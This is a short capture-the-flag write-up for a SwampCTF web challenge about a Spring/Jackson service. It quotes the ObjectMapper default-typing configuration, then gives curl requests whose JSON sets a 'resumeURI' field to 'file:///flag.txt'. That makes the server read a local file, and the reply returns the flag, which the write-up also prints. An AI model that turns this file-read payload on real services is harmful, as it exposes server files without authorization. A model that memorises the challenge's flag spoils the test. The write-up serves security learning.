



The Jackson configuration enables polymorphic deserialization with default typing. However, it only “allows” three types based on the whitelist:

```
public ObjectMapper objectMapper() {
    ObjectMapper objectMapper = new ObjectMapper();
    PolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
        .allowIfSubType("com.serialies.serialies.Person")
        .allowIfSubType("com.serialies.serialies.Address")
        .allowIfSubType("com.serialies.serialies.Job")
        .build();
    objectMapper.activateDefaultTyping(ptv, ObjectMapper.DefaultTyping.NON_FINAL, JsonTypeInfo.As.PROPERTY);
    return objectMapper;
}
```

Deserialization is the process of converting data (like JSON) into objects that a program can work with. In this case, the program takes JSON input and turns it into Java objects (like Person, Address, and Job).

Setting resumeURI: "file:///flag.txt" can get the flag. other variable can be random. Either use burp suite or anything else, for me use curl

```
(zeqzoq@zeqzoq)~$ curl -X POST -H "Content-Type: application/json" -d '{"@class":"com.serialies.serialies.Person","name":"attacker","age":30,"address":{"@class":"com.serialies.serialies.Address","street":"123 Fake St","city":"Faketown","state":"FS","zipCode":"12345"},"job":{"@class":"com.serialies.serialies.Job","title":"Hacker","company":"Evil Inc","salary":100000,"resumeURI":"file:///flag.txt"}}' http://chals.swampctf.com:44444/api/person
Person has been created with ID: 81018e41-7549-497a-a93f-9d70d0160fb4
(zeqzoq@zeqzoq)~$ curl http://chals.swampctf.com:44444/api/person/81018e41-7549-497a-a93f-9d70d0160fb4
{"@class":"com.serialies.serialies.Person","id":"81018e41-7549-497a-a93f-9d70d0160fb4","name":"attacker","age":30,"address":{"@class":"com.serialies.serialies.Address","street":"123 Fake St","city":"Faketown","state":"FS","zipCode":"12345"},"job":{"@class":"com.serialies.serialies.Job","title":"Hacker","company":"Evil Inc","salary":100000.0,"resume":"swampCTF{f1l3_r34d_4nd_d3s3r14l1z3_pwn4g3_x7q9z2r5v8}","resumeURI":"file:///flag.txt"}}
(zeqzoq@zeqzoq)~$
```

Flag: swampCTF{f1l3_r34d_4nd_d3s3r14l1z3_pwn4g3_x7q9z2r5v8}